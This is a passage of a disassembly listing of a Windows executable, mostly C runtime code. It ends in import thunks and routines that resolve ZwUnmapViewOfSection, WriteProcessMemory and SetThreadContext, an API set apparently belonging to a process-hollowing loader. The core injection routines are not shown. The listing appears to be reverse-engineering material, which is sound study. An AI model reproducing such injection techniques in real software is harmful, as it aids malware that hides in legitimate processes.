[00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ___sbh_heapmin: mov eax, dword_43A878 test eax, eax jz locret_402994 mov ecx, dword_43A890 push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] push 8000h push ecx call ds:VirtualFree ; VirtualFree mov ecx, dword_43A890 mov eax, dword_43A878 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_43A878 mov eax, [eax+10h] mov ecx, dword_43A890 and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_43A878 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_43A878 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_40293B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_43A878 loc_40293B: ; CODE XREF: .text:00402930j cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_40298D cmp dword_43A87C, 1 jle short loc_40298D push dword ptr [eax+10h] push 0 push hHeap call ds:HeapFree mov eax, dword_43A87C mov edx, lpMem lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_43A878 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call _memcpy_0 add esp, 0Ch dec dword_43A87C loc_40298D: ; CODE XREF: .text:0040293Fj ; .text:00402948j and dword_43A878, 0 locret_402994: ; CODE XREF: .text:004028CBj retn ; [00000319 BYTES: COLLAPSED FUNCTION ___sbh_heap_check. PRESS KEYPAD "+" TO EXPAND] ; [0000005B BYTES: COLLAPSED FUNCTION __set_sbh_threshold. PRESS KEYPAD "+" TO EXPAND] ; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov ecx, [esp+4] mov eax, dword_43A314 mov dword_43A314, ecx retn ; --------------------------------------------------------------------------- mov eax, dword_43A314 retn ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] align 2 __initterm: push esi mov esi, eax jmp short loc_403076 ; --------------------------------------------------------------------------- loc_40306B: ; CODE XREF: .text:0040307Aj mov eax, [esi] test eax, eax jz short loc_403073 call eax loc_403073: ; CODE XREF: .text:0040306Fj add esi, 4 loc_403076: ; CODE XREF: .text:00403069j cmp esi, [esp+8] jb short loc_40306B pop esi retn ; --------------------------------------------------------------------------- __initterm_e: push esi mov esi, eax xor eax, eax jmp short loc_403094 ; --------------------------------------------------------------------------- loc_403085: ; CODE XREF: .text:00403098j test eax, eax jnz short loc_40309A mov ecx, [esi] test ecx, ecx jz short loc_403091 call ecx loc_403091: ; CODE XREF: .text:0040308Dj add esi, 4 loc_403094: ; CODE XREF: .text:00403083j cmp esi, [esp+8] jb short loc_403085 loc_40309A: ; CODE XREF: .text:00403087j pop esi retn ; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND] ; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __GET_RTERRMSG: mov ecx, [esp+4] xor eax, eax loc_403384: ; CODE XREF: .text:00403391j cmp ecx, dword_408060[eax*8] jz short loc_403393 inc eax cmp eax, 13h jb short loc_403384 loc_403393: ; CODE XREF: .text:0040338Bj shl eax, 3 cmp ecx, dword_408060[eax] jnz short loc_4033A5 mov eax, off_408064[eax] retn ; --------------------------------------------------------------------------- loc_4033A5: ; CODE XREF: .text:0040339Cj xor eax, eax retn ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _xcptlookup: mov ecx, dword_408178 mov eax, offset dword_4080F8 push esi loc_4033ED: ; CODE XREF: .text:00403400j cmp [eax], edx jz short loc_403402 lea esi, [ecx+ecx*2] add eax, 0Ch lea esi, ds:4080F8h[esi*4] cmp eax, esi jb short loc_4033ED loc_403402: ; CODE XREF: .text:004033EFj lea ecx, [ecx+ecx*2] lea ecx, ds:4080F8h[ecx*4] cmp eax, ecx pop esi jnb short loc_403415 cmp [eax], edx jz short locret_403417 loc_403415: ; CODE XREF: .text:0040340Fj xor eax, eax locret_403417: ; CODE XREF: .text:00403413j retn ; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ___CppXcptFilter: mov eax, 0E06D7363h cmp [esp+4], eax jnz short loc_4035A1 push dword ptr [esp+8] push eax call __XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_4035A1: ; CODE XREF: .text:00403592j xor eax, eax retn ; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __ioterm: push esi mov esi, offset dword_43A760 loc_403BA9: ; CODE XREF: .text:00403BC2j mov eax, [esi] test eax, eax jz short loc_403BB9 push eax call _free and dword ptr [esi], 0 pop ecx loc_403BB9: ; CODE XREF: .text:00403BADj add esi, 4 cmp esi, offset dword_43A860 jl short loc_403BA9 pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BC6 proc near ; CODE XREF: start:loc_401EAFp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_406700 call __SEH_prolog mov [ebp+var_1C], offset dword_406EFC loc_403BD9: ; CODE XREF: sub_403BC6+3Cj cmp [ebp+var_1C], offset dword_406EFC jnb short loc_403C04 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_403BFA call eax jmp short loc_403BFA ; --------------------------------------------------------------------------- loc_403BF3: ; DATA XREF: .rdata:stru_406700o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_403BF7: ; DATA XREF: .rdata:stru_406700o mov esp, [ebp+ms_exc.old_esp] loc_403BFA: ; CODE XREF: sub_403BC6+27j ; sub_403BC6+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_403BD9 ; --------------------------------------------------------------------------- loc_403C04: ; CODE XREF: sub_403BC6+1Aj call __SEH_epilog retn sub_403BC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; void sub_403C0A(void) sub_403C0A proc near ; DATA XREF: __cinit:loc_4030D7o var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_406710 call __SEH_prolog mov [ebp+var_1C], offset dword_406F04 loc_403C1D: ; CODE XREF: sub_403C0A+3Cj cmp [ebp+var_1C], offset dword_406F04 jnb short loc_403C48 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_403C3E call eax jmp short loc_403C3E ; --------------------------------------------------------------------------- loc_403C37: ; DATA XREF: .rdata:stru_406710o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_403C3B: ; DATA XREF: .rdata:stru_406710o mov esp, [ebp+ms_exc.old_esp] loc_403C3E: ; CODE XREF: sub_403C0A+27j ; sub_403C0A+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_403C1D ; --------------------------------------------------------------------------- loc_403C48: ; CODE XREF: sub_403C0A+1Aj call __SEH_epilog retn sub_403C0A endp ; --------------------------------------------------------------------------- align 10h ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] ; [00000082 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] ; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_4045DC. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4045C8 proc near ; DATA XREF: .rdata:stru_406790o xor eax, eax inc eax retn sub_4045C8 endp ; =============== S U B R O U T I N E ======================================= sub_4045CC proc near ; DATA XREF: .rdata:stru_406790o mov esp, [ebp-18h] sub_4045CC endp ; sp-analysis failed ; [0000000C BYTES: COLLAPSED CHUNK OF FUNCTION sub_4045DC. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000000E BYTES: COLLAPSED FUNCTION sub_4045DC. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 1 push 0 push dword ptr [esp+0Ch] call _x_ismbbtype add esp, 0Ch retn ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbkprint. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbkpunct. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbalnum. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbalpha. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbgraph. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbprint. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbpunct. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbtrail. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __ismbbkana. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _getSystemCP: and dword_43A498, 0 cmp eax, 0FFFFFFFEh jnz short loc_404716 mov dword_43A498, 1 jmp ds:GetOEMCP ; --------------------------------------------------------------------------- loc_404716: ; CODE XREF: .text:00404704j cmp eax, 0FFFFFFFDh jnz short loc_40472B mov dword_43A498, 1 jmp ds:GetACP ; --------------------------------------------------------------------------- loc_40472B: ; CODE XREF: .text:00404719j cmp eax, 0FFFFFFFCh jnz short locret_40473F mov eax, dword_43A508 mov dword_43A498, 1 locret_40473F: ; CODE XREF: .text:0040472Ej retn ; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION __getmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __NLG_Notify1: push ebx push ecx mov ebx, offset dword_408290 jmp short loc_404C50 ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] ; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+" TO EXPAND] ; [00000162 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND] ; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND] ; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND] db 0CCh ; --------------------------------------------------------------------------- ___buffer_overrun: push 0 push 1 call ___security_error_handler ; --------------------------------------------------------------------------- pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov ecx, [esp+4] mov eax, dword_43A4EC mov dword_43A4EC, ecx retn ; --------------------------------------------------------------------------- mov eax, off_4082A4 retn ; --------------------------------------------------------------------------- mov eax, off_4082A0 retn ; --------------------------------------------------------------------------- _strncnt: mov ecx, [esp+4] test ecx, ecx jz short loc_40520A loc_4051FF: ; CODE XREF: .text:00405208j dec ecx cmp byte ptr [eax], 0 jz short loc_40520B inc eax test ecx, ecx jnz short loc_4051FF loc_40520A: ; CODE XREF: .text:004051FDj dec ecx loc_40520B: ; CODE XREF: .text:00405203j mov eax, [esp+4] sub eax, ecx dec eax retn ; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND] ; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO EXPAND] ; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp _atol ; [00000079 BYTES: COLLAPSED FUNCTION __atoi64. PRESS KEYPAD "+" TO EXPAND] ; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO EXPAND] ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __chvalidator: mov eax, [esp+4] mov ecx, off_4082A0 movzx eax, word ptr [ecx+eax*2] and eax, [esp+8] retn ; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] align 2 jmp ds:FreeLibrary ; --------------------------------------------------------------------------- jmp ds:GetProcAddress ; --------------------------------------------------------------------------- jmp ds:LoadLibraryA ; --------------------------------------------------------------------------- jmp ds:VirtualQueryEx ; --------------------------------------------------------------------------- jmp ds:ReadProcessMemory ; --------------------------------------------------------------------------- jmp ds:GetThreadContext ; --------------------------------------------------------------------------- jmp ds:CreateProcessA ; --------------------------------------------------------------------------- jmp ds:GetModuleHandleA ; --------------------------------------------------------------------------- jmp ds:VirtualProtectEx ; --------------------------------------------------------------------------- jmp ds:VirtualAllocEx ; --------------------------------------------------------------------------- jmp ds:ResumeThread ; --------------------------------------------------------------------------- jmp ds:ReadFile ; --------------------------------------------------------------------------- jmp ds:GetFileSize ; --------------------------------------------------------------------------- jmp ds:CreateFileA ; --------------------------------------------------------------------------- jmp ds:SetFileAttributesA ; --------------------------------------------------------------------------- jmp ds:GetModuleFileNameA ; --------------------------------------------------------------------------- jmp ds:HeapAlloc ; --------------------------------------------------------------------------- jmp ds:GetStartupInfoA ; --------------------------------------------------------------------------- jmp ds:GetCommandLineA ; --------------------------------------------------------------------------- jmp ds:GetVersionExA ; --------------------------------------------------------------------------- jmp ds:HeapDestroy ; --------------------------------------------------------------------------- jmp ds:HeapCreate ; --------------------------------------------------------------------------- jmp ds:VirtualFree ; --------------------------------------------------------------------------- jmp ds:HeapFree ; --------------------------------------------------------------------------- jmp ds:VirtualAlloc ; --------------------------------------------------------------------------- jmp ds:HeapReAlloc ; --------------------------------------------------------------------------- jmp ds:IsBadWritePtr ; --------------------------------------------------------------------------- jmp ds:ExitProcess ; --------------------------------------------------------------------------- jmp ds:TerminateProcess ; --------------------------------------------------------------------------- jmp ds:GetCurrentProcess ; --------------------------------------------------------------------------- jmp ds:WriteFile ; --------------------------------------------------------------------------- jmp ds:GetStdHandle ; --------------------------------------------------------------------------- jmp ds:UnhandledExceptionFilter ; --------------------------------------------------------------------------- jmp ds:FreeEnvironmentStringsA ; --------------------------------------------------------------------------- jmp ds:GetEnvironmentStrings ; --------------------------------------------------------------------------- jmp ds:FreeEnvironmentStringsW ; --------------------------------------------------------------------------- jmp ds:WideCharToMultiByte ; --------------------------------------------------------------------------- jmp ds:GetLastError ; --------------------------------------------------------------------------- jmp ds:GetEnvironmentStringsW ; --------------------------------------------------------------------------- jmp ds:SetHandleCount ; --------------------------------------------------------------------------- jmp ds:GetFileType ; --------------------------------------------------------------------------- jmp ds:GetACP ; --------------------------------------------------------------------------- jmp ds:GetOEMCP ; --------------------------------------------------------------------------- jmp ds:GetCPInfo ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp ds:InterlockedExchange ; --------------------------------------------------------------------------- jmp ds:VirtualQuery ; --------------------------------------------------------------------------- jmp ds:HeapSize ; --------------------------------------------------------------------------- jmp ds:QueryPerformanceCounter ; --------------------------------------------------------------------------- jmp ds:GetTickCount ; --------------------------------------------------------------------------- jmp ds:GetCurrentThreadId ; --------------------------------------------------------------------------- jmp ds:GetCurrentProcessId ; --------------------------------------------------------------------------- jmp ds:GetSystemTimeAsFileTime ; --------------------------------------------------------------------------- jmp ds:LCMapStringA ; --------------------------------------------------------------------------- jmp ds:MultiByteToWideChar ; --------------------------------------------------------------------------- jmp ds:LCMapStringW ; --------------------------------------------------------------------------- jmp ds:GetStringTypeA ; --------------------------------------------------------------------------- jmp ds:GetStringTypeW ; --------------------------------------------------------------------------- jmp ds:GetLocaleInfoA ; --------------------------------------------------------------------------- jmp ds:VirtualProtect ; --------------------------------------------------------------------------- jmp ds:GetSystemInfo ; --------------------------------------------------------------------------- jmp ds:MessageBoxA ; =============== S U B R O U T I N E ======================================= sub_405EFA proc near ; DATA XREF: .data:00408008o push offset aZwunmapviewofs ; "ZwUnmapViewOfSection" push offset LibFileName ; "ntdll.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_43A300, eax retn sub_405EFA endp ; =============== S U B R O U T I N E ======================================= sub_405F17 proc near ; DATA XREF: .data:0040800Co push offset aSetthreadconte ; "SetThreadContext" push offset ModuleName ; "kernel32.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_43A304, eax retn sub_405F17 endp ; =============== S U B R O U T I N E ======================================= sub_405F34 proc near ; DATA XREF: .data:00408010o push offset aWriteprocessme ; "WriteProcessMemory" push offset ModuleName ; "kernel32.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_43A2FC, eax retn sub_405F34 endp ; --------------------------------------------------------------------------- align 100h _text ends ; Section 2. (virtual address 00006000) ; Virtual size : 000014A2 ( 5282.) ; Section size in file : 00001600 ( 5632.) ; Offset to raw data for section: 00005400 ; Flags 40000040: Data Readable ; Alignment : default ; ; Imports from KERNEL32.dll ; ; =========================================================================== ; Segment type: Externs ; _idata ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn FreeLibrary:dword ; CODE XREF: sub_401000+77p ; DATA XREF: sub_401000+77r ... ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName) extrn GetProcAddress:dword ; CODE XREF: sub_401000+3Ap ; sub_401000+45p ... ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn LoadLibraryA:dword ; CODE XREF: sub_401000+21p ; ___crtMessageBoxA+18p ; DATA XREF: ... ; SIZE_T __stdcall VirtualQueryEx(HANDLE hProcess,LPCVOID lpAddress,PMEMORY_BASIC_INFORMATION lpBuffer,SIZE_T dwLength) extrn VirtualQueryEx:dword ; CODE XREF: sub_4014E8+83p ; DATA XREF: sub_4014E8+66r ... ; BOOL __stdcall ReadProcessMemory(HANDLE hProcess,LPCVOID lpBaseAddress,LPVOID lpBuffer,SIZE_T nSize,SIZE_T *lpNumberOfBytesRead) extrn ReadProcessMemory:dword ; CODE XREF: sub_4014E8+5Ep ; DATA XREF: sub_4014E8+5Er ... ; BOOL __stdcall GetThreadContext(HANDLE hThread,LPCONTEXT lpContext) extrn GetThreadContext:dword ; CODE XREF: sub_4014E8+42p ; DATA XREF: sub_4014E8+42r ... ; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName,LPSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation) extrn CreateProcessA:dword ; CODE XREF: sub_4014E8+2Ap ; DATA XREF: sub_4014E8+2Ar ... ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn GetModuleHandleA:dword ; CODE XREF: sub_4015A2+E0p ; WinMain(x,x,x,x)+85p ... ; BOOL __stdcall VirtualProtectEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,PDWORD lpflOldProtect) extrn VirtualProtectEx:dword ; CODE XREF: sub_4015A2+3Ap ; DATA XREF: sub_4015A2+3Ar ... ; LPVOID __stdcall VirtualAllocEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect) extrn VirtualAllocEx:dword ; CODE XREF: sub_4015A2+72p ; sub_4015A2+9Ep ; DATA XREF: ... ; DWORD __stdcall ResumeThread(HANDLE hThread) extrn ResumeThread:dword ; CODE XREF: sub_401718+Dp ; DATA XREF: sub_401718+Dr ... ; BOOL __stdcall ReadFile(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytesToRead,LPDWORD lpNumberOfBytesRead,LPOVERLAPPED lpOverlapped) extrn ReadFile:dword ; CODE XREF: sub_40172C+53p ; DATA XREF: sub_40172C+53r ... ; DWORD __stdcall GetFileSize(HANDLE hFile,LPDWORD lpFileSizeHigh) extrn GetFileSize:dword ; CODE XREF: sub_40172C+29p ; DATA XREF: sub_40172C+29r ... ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile) extrn CreateFileA:dword ; CODE XREF: sub_40172C+1Cp ; DATA XREF: sub_40172C+1Cr ... ; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName,DWORD dwFileAttributes) extrn SetFileAttributesA:dword ; CODE XREF: WinMain(x,x,x,x)+36p ; DATA XREF: WinMain(x,x,x,x)+36r ... ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize) extrn GetModuleFileNameA:dword ; CODE XREF: WinMain(x,x,x,x)+1Ap ; __NMSG_WRITE+81p ... ; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes) extrn HeapAlloc:dword ; CODE XREF: __heap_alloc+3Ep ; ___sbh_heap_init+Dp ... ; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo) extrn GetStartupInfoA:dword ; CODE XREF: start+160p ; __ioinit+57p ; DATA XREF: ... ; LPSTR __stdcall GetCommandLineA() extrn GetCommandLineA:dword ; CODE XREF: start:loc_401EC8p ; DATA XREF: start:loc_401EC8r ... ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation) extrn GetVersionExA:dword ; CODE XREF: start+20p ; DATA XREF: start+20r ... ; BOOL __stdcall HeapDestroy(HANDLE hHeap) extrn HeapDestroy:dword ; CODE XREF: __heap_init+44p ; .text:0040207Bp ; DATA XREF: ... ; HANDLE __stdcall HeapCreate(DWORD flOptions,SIZE_T dwInitialSize,SIZE_T dwMaximumSize) extrn HeapCreate:dword ; CODE XREF: __heap_init+11p ; DATA XREF: __heap_init+11r ... ; BOOL __stdcall VirtualFree(LPVOID lpAddress,SIZE_T dwSize,DWORD dwFreeType) extrn VirtualFree:dword ; CODE XREF: .text:0040203Bp ; .text:00402046p ... ; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem) extrn HeapFree:dword ; CODE XREF: .text:00402053p ; .text:00402071p ... ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect) extrn VirtualAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+7Ep ; ___sbh_alloc_new_group+52p ... ; LPVOID __stdcall HeapReAlloc(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem,SIZE_T dwBytes) extrn HeapReAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+27p ; _realloc+FDp ... ; BOOL __stdcall IsBadWritePtr(LPVOID lp,UINT_PTR ucb) extrn IsBadWritePtr:dword ; CODE XREF: ___sbh_heap_check+1Bp ; ___sbh_heap_check+55p ... ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; CODE XREF: unknown_libname_1+29p ; sub_4045DC-7p ; DATA XREF: ... ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode) extrn TerminateProcess:dword ; CODE XREF: _doexit+1Ap ; DATA XREF: _doexit+1Ar ... ; HANDLE __stdcall GetCurrentProcess() extrn GetCurrentProcess:dword ; CODE XREF: _doexit+13p ; DATA XREF: _doexit+13r ... ; BOOL __stdcall WriteFile(HANDLE hFile,LPCVOID lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped) extrn WriteFile:dword ; CODE XREF: __NMSG_WRITE+155p ; DATA XREF: __NMSG_WRITE+155r ... ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle) extrn GetStdHandle:dword ; CODE XREF: __NMSG_WRITE+14Ep ; __ioinit+157p ; DATA XREF: ... ; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo) extrn UnhandledExceptionFilter:dword ; CODE XREF: __XcptFilter+167p ; DATA XREF: __XcptFilter+167r ... ; BOOL __stdcall FreeEnvironmentStringsA(LPCH) extrn FreeEnvironmentStringsA:dword ; CODE XREF: ___crtGetEnvironmentStringsA+113p ; DATA 